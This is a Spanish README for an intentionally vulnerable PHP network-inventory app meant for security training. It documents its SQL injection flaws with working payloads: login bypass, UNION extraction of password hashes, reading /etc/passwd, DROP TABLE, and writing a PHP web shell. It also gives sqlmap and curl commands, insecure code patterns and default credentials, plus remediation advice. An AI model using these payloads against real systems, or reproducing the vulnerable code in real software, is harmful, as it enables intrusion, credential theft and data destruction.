Este sistema contiene vulnerabilidades intencionales diseñadas para propósitos educativos y pruebas de ciberseguridad.
NUNCA usar en producción o entornos reales.
Sistema de inventario de dispositivos de red desarrollado en PHP vanilla (sin frameworks) que contiene múltiples vulnerabilidades de seguridad, principalmente SQL Injection, para realizar pruebas de penetración y documentar técnicas de explotación.
- ✅ Gestión de dispositivos de red (routers, switches, firewalls, APs)
- ✅ Administración de direcciones IP (IPv4 e IPv6)
- ✅ Asignación de IPs a dispositivos e interfaces
- ✅ Almacenamiento de configuraciones
- ✅ Sistema de usuarios con roles (viewer, operator, admin)
- ✅ Dashboard con estadísticas
- ✅ Búsqueda y filtrado de dispositivos
- ✅ Exportación a CSV/JSON
⚠️ MÚLTIPLES VULNERABILIDADES INTENCIONALES
- PHP 7.4 o superior
- MySQL 5.7+ o MariaDB 10.3+
- Servidor web (Apache, Nginx, o PHP built-in server)
- Clonar o descargar el proyecto
cd "C:\Users\fsant\Downloads\Net Inventory"- Configurar la base de datos
# Crear la base de datos
mysql -u root -p < migrations/001_init.sql
# Cargar datos de ejemplo
mysql -u root -p < migrations/002_seed_data.sql- Configurar variables de entorno
# Copiar y editar el archivo de configuración
copy .env.example .envEditar .env con tus credenciales de base de datos:
DB_HOST=localhost
DB_NAME=net_inventory
DB_USER=root
DB_PASS=tu_password- Generar autoload (opcional con Composer)
composer installSi no tienes Composer, el sistema usa un autoloader manual que ya está configurado.
- Iniciar el servidor
# Opción 1: PHP Built-in Server (desarrollo)
cd public
php -S localhost:8000
# Opción 2: Apache/Nginx
# Configurar DocumentRoot apuntando a: /public- Acceder al sistema
URL: http://localhost:8000
Usuario: admin
Contraseña: password123
php scripts/import_devices.php scripts/sample_devices.csvUbicación: src/Controller/AuthController.php - método login()
Descripción: El formulario de login concatena directamente las credenciales en la query SQL sin validación ni prepared statements.
Código Vulnerable:
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '{$username}' AND password_hash = '{$password}'";Exploits de Ejemplo:
Username: admin' OR '1'='1
Password: cualquier_cosa
Username: admin'--
Password: (dejar vacío)
Username: ' UNION SELECT 1,2,'admin',4,'admin','$2y$10$hash',6,7,8,1--
Password: cualquier_cosa
Username: admin' AND (SELECT LENGTH(password_hash) FROM users WHERE username='admin')>50--
Password: x
Impacto: Acceso completo al sistema sin credenciales válidas.
Ubicación: src/Controller/DeviceController.php - método index()
Descripción: Los parámetros de búsqueda, filtrado y ordenamiento se concatenan directamente en la query.
Código Vulnerable:
$search = $_GET['search'] ?? '';
$query = "SELECT * FROM devices WHERE hostname LIKE '%{$search}%'";Exploits de Ejemplo:
GET /devices?search=%' UNION SELECT 1,username,3,4,5,6,password_hash,8,9,10,11,12,13,14,15 FROM users--
GET /devices?search=%' AND SLEEP(5)--
GET /devices?search=%' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5,6,7,8,9,10,11,12,13,14,15--
GET /devices?sort=(SELECT CASE WHEN (1=1) THEN hostname ELSE id END)&order=ASC
Impacto:
- Extracción de toda la base de datos
- Lectura de archivos del servidor
- Ejecución de comandos del sistema (en configuraciones inseguras)
Ubicación: src/Controller/DeviceController.php - método export()
Descripción: El parámetro filter permite inyectar condiciones SQL arbitrarias.
Código Vulnerable:
$filter = $_GET['filter'] ?? '';
$query = "SELECT * FROM devices WHERE 1=1";
if (!empty($filter)) {
$query .= " AND ({$filter})";
}Exploits de Ejemplo:
GET /devices/export?format=csv&filter=1=1) UNION SELECT username,password_hash,email,role,NULL,NULL,NULL,NULL FROM users--
GET /devices/export?filter=1=1); DROP TABLE devices;--
Impacto: Exportación de datos sensibles, posible destrucción de datos.
Ubicación: src/Controller/DeviceController.php - método view($id)
Descripción: El ID del dispositivo no se valida y se usa directamente en múltiples queries.
Código Vulnerable:
public function view($id) {
$query = "SELECT * FROM devices WHERE id = {$id}";
}Exploits de Ejemplo:
GET /devices/1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username FROM users LIMIT 1),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)
GET /devices/1 UNION SELECT 1,2,content,4,5,6,7,8,9,10,11,12,13,14,15 FROM configs--
Impacto: Acceso a información sensible de otros dispositivos y configuraciones.
Ubicación: src/Controller/DashboardController.php - método index()
Descripción: Los administradores pueden ejecutar queries SQL arbitrarias desde el dashboard.
Código Vulnerable:
if (isset($_GET['custom_query']) && $this->app->hasRole('admin')) {
$customQuery = $_GET['custom_query'];
$stats['custom_result'] = $this->db->query($customQuery)->fetchAll();
}Exploits de Ejemplo:
GET /?custom_query=SELECT LOAD_FILE('/etc/hosts')
GET /?custom_query=SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
GET /?custom_query=SELECT table_name,column_name FROM information_schema.columns WHERE table_schema='net_inventory'
Impacto: Control total del servidor si se logra escribir archivos.
Ubicación: src/Controller/DeviceController.php - métodos store() y update($id)
Descripción: Todos los campos del formulario se insertan sin sanitización.
Código Vulnerable:
$hostname = $_POST['hostname'] ?? '';
$query = "INSERT INTO devices (hostname, ...) VALUES ('{$hostname}', ...)";Exploits de Ejemplo:
POST /devices/create
hostname: test', (SELECT password_hash FROM users WHERE username='admin'))--
POST /devices/create
notes: '); DROP TABLE devices; --
Impacto: Corrupción de datos, ejecución de comandos SQL maliciosos.
Ubicación: Todos los formularios Impacto: Posibilidad de Cross-Site Request Forgery
Ubicación: src/App.php - método initSession()
'cookie_httponly' => false, // JavaScript puede acceder
'cookie_secure' => false, // No requiere HTTPSImpacto: Robo de sesiones mediante XSS
Ubicación: Múltiples controladores
if ($this->app->getConfig('debug')) {
die("SQL Error: " . $e->getMessage());
}Impacto: Revelación de estructura de base de datos
Ubicación: Todos los controladores Impacto: XSS, Path Traversal, File Upload vulnerabilities
Ubicación: src/Controller/AuthController.php - registro
$passwordHash = md5($password); // MD5 es inseguroImpacto: Contraseñas fácilmente crackeables
- SQLMap - Automatización de SQL Injection
# Test de login
sqlmap -u "http://localhost:8000/login" --data="username=admin&password=test" --level=5 --risk=3
# Test de búsqueda
sqlmap -u "http://localhost:8000/devices?search=test" --dbs --dump- Burp Suite - Proxy de interceptación
- Configurar proxy en navegador
- Interceptar requests a /devices, /login
- Modificar parámetros manualmente
- Manual Testing - Verificación directa
# Test básico con curl
curl "http://localhost:8000/login" -d "username=admin'--&password=x"
# Test de búsqueda
curl "http://localhost:8000/devices?search=%27+UNION+SELECT+1,username,password_hash,4,5,6,7,8,9,10,11,12,13,14,15+FROM+users--"- Acceder a
/login - Usar payload:
admin' OR '1'='1'-- - Verificar acceso sin contraseña válida
- Buscar en
/devices - Payload:
%' UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15 FROM information_schema.schemata-- - Iterar tablas y columnas
- Acceder como admin a dashboard
- Custom query:
SELECT LOAD_FILE('/etc/passwd') - Verificar lectura de archivos del sistema
net-inventory/
├── public/ # DocumentRoot
│ ├── index.php # Front controller
│ ├── assets/ # CSS, JS
│ └── uploads/ # Archivos subidos
├── src/ # Código fuente
│ ├── App.php # Bootstrap de aplicación
│ ├── Router.php # Sistema de rutas
│ ├── Controller/ # Controladores
│ ├── Model/ # Modelos
│ ├── Repository/ # Acceso a datos
│ └── Service/ # Lógica de negocio
├── templates/ # Vistas PHP
├── config/ # Archivos de configuración
├── migrations/ # Scripts SQL
├── scripts/ # Utilidades CLI
└── docs/ # Documentación
Este proyecto permite:
- Identificar vulnerabilidades SQL Injection en código real
- Explotar diferentes tipos de inyección (UNION, Blind, Error-based)
- Comprender el impacto de no usar prepared statements
- Documentar hallazgos para reportes de seguridad
- Aprender técnicas de remediación
ANTES (Vulnerable):
$query = "SELECT * FROM devices WHERE id = {$id}";
$result = $db->query($query);DESPUÉS (Seguro):
$stmt = $db->prepare("SELECT * FROM devices WHERE id = ?");
$stmt->execute([$id]);
$result = $stmt->fetchAll();- ✅ Usar Prepared Statements con parámetros vinculados
- ✅ Validar y sanitizar toda entrada de usuario
- ✅ Implementar CSRF tokens en formularios
- ✅ Configurar sesiones seguras (httponly, secure)
- ✅ Usar password_hash() para contraseñas
- ✅ Implementar WAF (Web Application Firewall)
- ✅ Limitar privilegios de usuario de base de datos
- ✅ Deshabilitar errores en producción
Copyright (c) 2025
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Este software contiene vulnerabilidades intencionales con fines exclusivamente educativos.
USO PROHIBIDO:
- ❌ Entornos de producción
- ❌ Almacenamiento de datos reales o sensibles
- ❌ Sistemas accesibles desde Internet sin aislamiento
- ❌ Actividades maliciosas o no autorizadas
- ❌ Violación de leyes de ciberseguridad
USO PERMITIDO:
- ✅ Laboratorios educativos aislados
- ✅ Entrenamiento de seguridad controlado
- ✅ Investigación académica
- ✅ Pruebas de penetración autorizadas
El autor no se hace responsable del uso indebido, daños o consecuencias legales derivadas del uso de este software.
Proyecto desarrollado para pruebas de ciberseguridad y educación.
Versión: 1.0.0-vulnerable
Fecha: Noviembre 2025
Usuario: admin
Contraseña: password123
Rol: admin
Usuario: operator1
Contraseña: password123
Rol: operator
Usuario: viewer1
Contraseña: password123
Rol: viewer